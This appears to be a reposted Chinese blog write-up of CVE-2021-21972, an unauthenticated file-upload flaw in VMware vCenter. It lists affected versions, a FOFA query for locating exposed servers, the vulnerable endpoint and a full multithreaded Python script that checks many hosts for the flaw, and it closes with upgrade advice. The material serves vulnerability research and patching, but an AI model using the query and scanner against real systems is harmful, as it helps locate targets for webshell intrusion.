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vmware vcenter怎么用安全(关于Vmware vcenter未授权任意文件上传漏洞CVE-2021-21972的问题)

时间:2021-10-24 10:41:47类别:服务器

vmware vcenter怎么用安全

关于Vmware vcenter未授权任意文件上传漏洞CVE-2021-21972的问题背景

CVE-2021-21972 vmware vcenter的一个未授权的命令执行漏洞。该漏洞可以上传一个webshell至vcenter服务器的任意位置,然后执行webshell即可。

影响版本

vmware:esxi:7.0/6.7/6.5
vmware:vcenter_server:7.0/6.7/6.5

漏洞复现 fofa查询

语法:title="+ ID_VC_Welcome +"

vmware vcenter怎么用安全(关于Vmware vcenter未授权任意文件上传漏洞CVE-2021-21972的问题)

POC

https://x.x.x.x/ui/vropspluginui/rest/services/uploadova

vmware vcenter怎么用安全(关于Vmware vcenter未授权任意文件上传漏洞CVE-2021-21972的问题)

使用https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC脚本批量验证

  • #-*- coding:utf-8 -*-
    banner = """
        888888ba       dP           
        88  `8b      88           
        a88aaaa8P' .d8888b. d8888P .d8888b. dP  dP 
        88  `8b. 88' `88  88  Y8ooooo. 88  88 
        88  .88 88. .88  88     88 88. .88 
        88888888P `88888P8  dP  `88888P' `88888P' 
      ooooooooooooooooooooooooooooooooooooooooooooooooooooo 
            @time:2021/02/24 CVE-2021-21972.py
            C0de by NebulabdSec - @batsu         
     """
    print(banner)
    
    import threadpool
    import random
    import requests
    import argparse
    import http.client
    import urllib3
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    http.client.HTTPConnection._http_vsn = 10
    http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'
    
    TARGET_URI = "/ui/vropspluginui/rest/services/uploadova"
    
    def get_ua():
      first_num = random.randint(55, 62)
      third_num = random.randint(0, 3200)
      fourth_num = random.randint(0, 140)
      os_type = [
        '(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(X11; Linux x86_64)',
        '(Macintosh; Intel Mac OS X 10_12_6)'
      ]
      chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)
    
      ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',
              '(KHTML, like Gecko)', chrome_version, 'Safari/537.36']
             )
      return ua
    
    def CVE_2021_21972(url):
      proxies = {"scoks5": "http://127.0.0.1:1081"}
      headers = {
        'User-Agent': get_ua(),
        "Content-Type": "application/x-www-form-urlencoded"
      }
      targetUrl = url + TARGET_URI
      try:
        res = requests.get(targetUrl,
                  headers=headers,
                  timeout=15,
                  verify=False,
                  proxies=proxies)
                  # proxies={'socks5': 'http://127.0.0.1:1081'})
        # print(len(res.text))
        if res.status_code == 405:
          print("[+] URL:{}--------存在CVE-2021-21972漏洞".format(url))
          # print("[+] Command success result: " + res.text + "\n")
          with open("存在漏洞地址.txt", 'a') as fw:
            fw.write(url + '\n')
        else:
          print("[-] " + url + " 没有发现CVE-2021-21972漏洞.\n")
      # except Exception as e:
      #   print(e)
      except:
        print("[-] " + url + " Request ERROR.\n")
    def multithreading(filename, pools=5):
      works = []
      with open(filename, "r") as f:
        for i in f:
          func_params = [i.rstrip("\n")]
          # func_params = [i] + [cmd]
          works.append((func_params, None))
      pool = threadpool.ThreadPool(pools)
      reqs = threadpool.makeRequests(CVE_2021_21972, works)
      [pool.putRequest(req) for req in reqs]
      pool.wait()
    
    def main():
      parser = argparse.ArgumentParser()
      parser.add_argument("-u",
                "--url",
                help="Target URL; Example:http://ip:port")
      parser.add_argument("-f",
                "--file",
                help="Url File; Example:url.txt")
      # parser.add_argument("-c", "--cmd", help="Commands to be executed; ")
      args = parser.parse_args()
      url = args.url
      # cmd = args.cmd
      file_path = args.file
      if url != None and file_path ==None:
        CVE_2021_21972(url)
      elif url == None and file_path != None:
        multithreading(file_path, 10) # 默认15线程
    
    if __name__ == "__main__":
      main()
    
  • vmware vcenter怎么用安全(关于Vmware vcenter未授权任意文件上传漏洞CVE-2021-21972的问题)

    EXP 修复建议

    vCenter Server7.0版本升级到7.0.U1c
    vCenter Server6.7版本升级到6.7.U3l
    vCenter Server6.5版本升级到6.5 U3n

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